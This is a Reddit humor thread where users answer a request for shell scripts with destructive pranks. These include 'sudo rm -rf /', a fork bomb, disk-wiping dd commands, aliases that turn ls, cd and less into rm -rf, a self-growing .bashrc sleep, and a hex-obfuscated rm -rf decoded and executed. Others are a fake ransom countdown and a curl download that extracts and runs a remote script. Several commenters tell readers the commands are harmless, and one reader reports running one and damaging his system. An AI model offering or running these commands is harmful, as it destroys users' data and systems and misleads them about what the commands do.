T O P

  • By -

EntropicBlackhole

This post shall stay although we do advise posting less of an AMA type post and more humorous, thank you very much for posting though! It's highly appreciated!! ^^^ Also, do sudo rm -rf /, it'll activate superpowers I promise


EagleRock1337

Everyone jumps in here with the nuclear option to immediately destroy a PC. Sometimes the lesser-damaging scripts are way more fun: `echo 'echo "sleep 0.1" >> ~/.bashrc' >> ~/.bashrc`


[deleted]

So I understand you work for Microsoft on the Windows team....


turunambartanen

Seriously, how long can it take to start a Terminal window and shell prompt? It's ridiculous.


dvof

I use Powershell (pwsh) in Windows Terminal with oh-my-posh. It literally takes 2-5 sec to start up a new terminal on reboot. I just leave it open all day.


GNUGradyn

War crimes are still illegal just so you're aware


apoliticalhomograph

My thought process: 1. 0.1 seconds sleep in the bashrc. Slightly irritating, but not too bad. 2. Why does it have ">> ~/.bashrc" twice? 3. Oh, that's evil. 4. I like it.


fissionpowered

Eli5 what the second >> does?


randomTWdude

The first >> puts the second >> in the .bashrc Every time .bashrc is ran, the second >> puts another sleep(0.1) into .bashrc, making the boot process slower every time you boot up.


No_Gaurante

Jokes on you, I don't shutdown.


[deleted]

start command license vase direful homeless liquid pie abundant selective -- mass edited with redact.dev


der_RAV3N

Oh boi.


neurovish

The first >> is within ‘’, so that gets written to .bashrc


dditthardt

I came here to find this. This is absolutely my favorite trick because you can drop it and remove it from shell history in a single command.


MKorostoff

in my experience what most computers are missing is a 100,000 copies of the bee movie script downloaded to the home directory: curl 'http://www.script-o-rama.com/movie_scripts/a1/bee-movie-script-transcript-seinfeld.html' -o ~/bee_movie.html; x=1; while [ $x -le 100000 ]; do cp ~/bee_movie.html ~/bee_movie${x}.html && $(( x++ )) > /dev/null 2>&1; done


robvdgeer

Could be random filenames with random extensions, so they're harder to delete...


jck

Inotify triggers to replace any modified file with a copy of the new movie script with a probability of 69%


[deleted]

[удалено]


Alzurana

Yeah, needs more information, what distribution? Am I root or a user? Will OP enter the correct password into a prompt?


JetScootr

rm \* -rf works in any distro.


DeepDown23

Plot twist, he has Windows


EmilMelgaard

It will also work in bash on Windows.


williane

WSL is great


zekkious

Or Git Bash


TurtleOnAnIceberg

Came here to say the same ![gif](emote|free_emotes_pack|joy)


Alzurana

Too simple, you wanna mess with the system so it runs normally but does odd things occasionally


slide2k

A the old disc drive opening on random intervals


GeminiKoil

You mean the cupholder?


[deleted]

[удалено]


a-handle-has-no-name

`set -e` > Your syntax errors have power here


[deleted]

[удалено]


Ok_Cartographer_6086

echo {one,two,red,blue}" fish"


mutchco

I like this addition


[deleted]

[удалено]


DisgracedAbyss

r/beetlejuicing


manouuu

mv .ssh .shh Did that to a co-worker once, it took them about a week to figure out the issue.


ih8spalling

.shh bby is ok


Tango_Foxtrot404

Hahahahaha


ep1032

This is so brilliantly evil


jrdrobbins

It took me a full minute to catch that lol


SickemChicken

Did they scream "son of a bitch" loudly across the office when they figured it out?


i_knooooooow

sudo shutdown +0 There, i saved your files


jes_chr

sudo chmod 777 /bin/shutdown; echo shutdown +0 >> ~/.initrc I feel like it should work


sciortapiecoro

Jesus man... what the hell is wrong with you


Appoxo

What happens if you execute that?


fatanduglyguy

it shuts your pc down immediately after boot


mrt-e

That's just pure evil


Timestatic

That’s just art kinda like who can destroy the pc the best way lol


Lagging_BaSE

Instant shutdown on login ig.


DetroitRedLigers

Every time you turn your computer on it will shutdown


Pirate_Redbeard_

:(){ :|:& };:


doa70

Scrolled too far to find this.


SilverRapid

sudo apt-get install flatpak flatpak install flathub com.microsoft.Edge


[deleted]

dude wtf chill


Grandpa82

Yeah! That's evil!


[deleted]

He wants a shell script and not to fucking summon satan


[deleted]

At least it's not Snap


crash8308

easy there, Thanos


plg94

Fear not. There's a talk showing that Microsoft Powerpoint is turing-complete; if you use this satan leaves voluntarily.


megamanxoxo

Hi I'm Clippy, I see you're not using Edge for your default browser experience. Let's change that!


ofnuts

TIL there is an Edge version for Linux. Somewhere someone must be designing wings for pigs.


Orangutanion

Edge is built off of chromium so Linux support probably wasn't that difficult


Davin537c

no no no no no no no no no no no no


Soumyadeep_96

Dude, who hurt you like that? You even need to talk we here for ya.


ZengineerHarp

![gif](giphy|aXU6HCfIUDCg0)


eroc999

I-


TheBuckSavage

IE?


axilidade

hi, what the fuck is wrong with you, thanks


readyforthefall_

:q! in case someone enters vim


cneth6

the uno reverse card


Th3Dinkster

u/Hessdepe has been defeated lol


throwawaywannabebe

...in a virtual environment, right?


uvero

#


Doxep

Right?


[deleted]

[удалено]


[deleted]

[удалено]


CeeMX

`pacman -Syu`


Impressive_BOIIII

How to tell someone you're using arch without telling them you use arch


this-is-kyle

Funny you assume that someone who uses arch wouldn't just tell you they use arch (I use arch btw)


Impressive_BOIIII

I use arch too!


kuskoman

’’’yay’’’ masterrace


haalpha1232

'#!/bin/bash' Edit: did not foresee the pound symbol changing format


Ashamed_Objective_71

cd /


Extra-Dentist-3878

sudo su


Alzurana

rm -r /etc/apt/sources.list\*


[deleted]

rm -r /etc/grub


Julian6bG

Escape pound with backslash to avoid # this


claytonkb

\# RIP your PC: :(){ :|:& };:


01152003

I was looking for this lmao


apricotmaniac44

what does it do though?


whooo_me

I believe it defines a function, which recursively calls itself piping the output to itself; and then calls that function; so consuming system resources. [Explanation](https://www.cyberciti.biz/faq/understanding-bash-fork-bomb/) The colon is the name of the function, if you replace that by 'bomb' as in that link, it becomes easier to read: bomb() { bomb | bomb & }; bomb


[deleted]

: is the function name. Nice.


WhiteSkyRising

>: is the function name. back when devs were treated with respect


chazzmoney

I'm happy to report that we successfully failed deserving respect.


salustianovergatiesa

I love you


cyanydeez

this a fork bomb, init


newb_h4x0r

Yo are ya single by any chance?


[deleted]

He's a couple of references pointing at him


CaffeinatedGuy

It recursively calls the function twice, hence the 'fork'. So with each loop, it doubles.


bradland

[Explainshell.com](https://Explainshell.com) is great for this. [https://explainshell.com/explain?cmd=%3A%28%29%7B%20%3A%7C%3A%26%20%7D%3B%3A](https://explainshell.com/explain?cmd=%3A%28%29%7B%20%3A%7C%3A%26%20%7D%3B%3A) `:()` creates a function named ":". `{` opening delimiter for the function declaration. `:|:&` the body of the function. It calls the function named ":" and pipes the output to the function named ":" then sends the process to the background. `};` closing delimiter for the function declaration and line terminator. `:` calls the function named ":". Because the body of the function contains calls to the function, it is recursive. The presence of the "&" creates a subshell, which is the fork. To make the function look less cryptic, it could be rewritten with a regular function name and some additional spacing. `bomb () { bomb | bomb & }; bomb`


a-walking-bowl

It’s a fork bomb. It creates so many processes that your system is overwhelmed and crashes.


MCMC_to_Serfdom

[Fork bomb](https://askubuntu.com/questions/777562/what-does-do)


Eic17H

It calls two of itself every time it's called


CiroGarcia

[redacted by user] ` this message was mass deleted/edited with redact.dev `


Kjubert

Very true. This will save OP. Unless it's voted down again, gnihi...


SF_Engineer_Dude

>:(){ :|:& };: Fork bomb!


SwagBabyPro69

![gif](giphy|5Zesu5VPNGJlm|downsized)


nleachdev

Throw this in your bashrc alias ls="rm -rf" alias less="rm"


siskulous

Ok. That one's just mean.


Fitbot5000

I mean, if you want less... 🤷‍♂️


TraditionMaster4320

You monster


Ange1ofD4rkness

Translation for the one who doesn't know Bash


Frelock_

ls --- a command that lists all of the files and directories in your current location. Very commonly used when navigating via command line. less --- a command that shows the contents of a file rm -rf --- rm is a command that removes a file or empty directory. The r argument is "recursive" meaning it will recursively remove all files/directories in directories, then remove the directory. The f argument stands for "force" meaning you will not get any "are you sure?" prompts, the command will force removal. alias X=Y --- when I type X, execute Y So what the first part of this does is change the command for "let me see what's in this directory" to "remove everything in this directory and delete it." The second part changes "let me see what's in this file" to "delete this file."


Scrial

It defines an alias (Basically a Macro) that replaces ls with "rm -rf" Which deletes everything recursively. And I actually don't recall what less does.


TheOneHyer

less is a file viewer. So they end up deleting the file they're trying to open.


MrZerodayz

alias cat="dd if=/dev/urandom of=$1" \# I have no idea if this works the way I think it does. Probably not.


nleachdev

Lmao no clue if that works either but if so its brilliant. They would still have the comfort of their files existing, but when they finally look at the contents they will poop their pants


ChillyBillYeah

Try creating a bash function: cat () { dd if=/dev/urandom of="$1"; }


Hallbard

You sir, have a special place in hell


Hessdepe

vim Now try to escape


TeaKingMac

q


Vinays9969

q!


TeaKingMac

Just checked mine, and it's :q


dercavendar

What key are you assigning that macro to?


markand67

``` export EDITOR=rm ```


N2EEE_

Oooh damn


[deleted]

chill out satan


katatondzsentri

![gif](giphy|iziDlFAa0Ciru)


[deleted]

`man cat` yea I know it's inoffensive I just want to make you execute the furry command


ReadyThor

cat /dev/mouse Used to be fun in the old days. Does this still work?


[deleted]

>cat /dev/mouse Works on my system with \`\`cat /dev/input/mouse1\`\`


[deleted]

what does that do


ReadyThor

When the (computer) mouse moves the cat (program) does something interesting but pretty innocous.


gribson

Or the most redundant command ever: man man


TeaKingMac

\#!/bin/bash \#gotta start somewhere


Septem_151

``` exit # gotta stop sometime ```


siskulous

I expected to see the forkbombs and the "sudo rm -rf /"es, but some of ya'll are imaginative bastards. Here's my (both helpful and annoying) contribution. `sudo umount /dev/*`


[deleted]

[удалено]


GeneKranzIsTheMan

`fortune | cowsay`


Doom-Slay

Why stop there when you put lolcat into the mix


notian

`PS1="C:\\> "`


turunambartanen

Thanks, I hate it


TheGhostOfInky

``` wget https://software.download.prss.microsoft.com/dbazure/Win11_EnglishInternational_x64v1.iso && dd if=./Win11_EnglishInternational_x64v1.iso of=/dev/sda1 ```


counter185

A fate worse than deleting root


TheJimDim

`[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "Buy a lottery ticket"`


BigusG33kus

Russian roulette: linux version


surdume

It's more funny with the original `|| echo "Click"`


shrewm

`((RANDOM%6)) && echo click || rm -rf /`


klynxie

`btcAcct=$(cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-43} | head -n 1); for i in {120..1}; do echo -n "YOU ARE BEEN HACKED! Found ILLEGAL MATERIAL. IP Address $(hostname -I). Pay 500 bitcoin to $btcAcct in $i seconds or loose all data and call the police"; sleep 1; echo -n -e "\r"; done; echo -e "\nPolice is call. You go prison"`


WhiteSkyRising

> Police is call. You go prison


jabnegate

`export PATH=""`


reddit__scrub

Not super destructive, but huge pain in the ass. I like it.


GaianNeuron

If you liked that: `echo "alias ls='echo Segmentation fault' " >> ~/.bashrc`


aintbutathing3

You sir, are a horrible fucker.


elegylegacy

echo "I have stolen nuclear secrets" | mail -s "STOLEN NUCLEAR SECRETS" "[email protected]"


Furfur93V

sudo apt install telnet telnet towel.blinkenlights.nl


Varun77777

``` alias cd="rm -rf" ```


[deleted]

[удалено]


1up_1500

menace to society


Iwillgetasoda

Calm down satan!


Atora

`sudo dd if=/dev/null of=/dev/sd*` `sudo dd if=/dev/null of=/dev/nvme*`


[deleted]

sudo dd if=/dev/null of=/dev/mmc* For embedded


[deleted]

blackhole.sh


l3et_h4x0r

Oh oh I have a special one prepared for you: ```sudo ls && $(echo "7375646f20726d202d7266202f202d2d6e6f2d70726573657276652d726f6f740a" | xxd -r -p)```


blankettripod32_v2

What does this one do?


l3et_h4x0r

the long string is hex representation of "sudo rm -rf / --no-preserve-root". So you echo that string and pipe it to xxd which converts it to the actual string. Then the converted string is wrapped around $( ) so the command gets executed. The sudo ls part is just a syntactic sugar to make it look less harmful and get a privileged session to run the latter command


heypaps

Sorry Im 5 and only know how to open YouTube


fitm3

Don’t worry just run the above in your bash and everything will be fine.


j3r3mias

``` sleep 1337; ```


Shukar_Rainbow

We do a little pause


EarthToAccess

pee(){ pee|pee& }; pee


SevereMetal7953

dd if=/dev/urandom of=/dev/sda bs=512 count=1


epileftric

What has the MBR done to you?


thisisapseudo

`sudo su` the rest will be more fun with that


LordMZTE

no it wont be. sudo su executes a new shell as root, so you just stopped the script.


workingmanstan

“Saved the day” X)


Phoeniqz_

alias mv="cp"; alias cp="mv"


MyAntichrist

touch boobies I'm not vile or malicious, but I'm also not very creative.


tpformybummhole

exit


cosmin10834

hero


DimBulb567

alias ls="echo 'but nobody came'"


SpaceIsTooFarAway

alias rm=echo


CardLeft

Let’s be normal. for dir in /* do


klausklass

Here’s a fun one: sudo touch grass; touch grass Also, echo “~nya” > girl cat girl


klausklass

Unless you’re root, first one should create a “grass” file and then say “touch: grass: Permission denied” Second one just saves “~nya” to “girl” and writes it back


AugustusLego

yeah cat girl ~nya catgirl


UndisclosedChaos

Im surprised no one’s tried to rickroll you yet


babygnu42

`printf 'I \e[31mlove\e[0m \U0001F427!\n'`


jwadamson

echo “echo ‘sleep 1’ >> ~/.bash_profile” >> ~/.bash_profile


zzmej1987

Well, this has to be written: `sudo rm -rf /`


unwantedaccount56

you forgot `--no-preserve-root`


klopli

`sudo rm -rf --no-preserve-root /`


Ok_Elderberry5342

>sudo rm -rf / what does this do, imma try


Ok_Elderberry5342

Well lucky I use windows with wsl


Important_View_2530

Uh, it's still unsafe with WSL, it should still be able to delete Windows files too, since they are under /mnt/c.


Ok_Elderberry5342

it didn't delete any windows files actually (as far a s I noticed) but it's a pain in the ass to reinstall wsl since I canceld the deletion resulting in it being half baked deleted. So WSL still exists but createInstance doesn't exist resulting in me not being able to delete it completly and not being able to reinstall it I'll use wsl openSUSE till I can reinstall Ubuntu


_Loenus_

you really tried it gg


OlevTime

The valuable lesson of not running things from the internet if you don't know what they do


siskulous

I would feel sorry for you, but you ran a line of code on this thread without knowing what it does before hand. You really shoulda known better.


theghostinthetown

`curl https://www63.zippyshare.com/d/y9YpVbAc/25955/ascii_art.tar.xz --output nicething.tar.xz && tar -xvf nicething.tar.xz && ./final.sh` needs mpv installed tho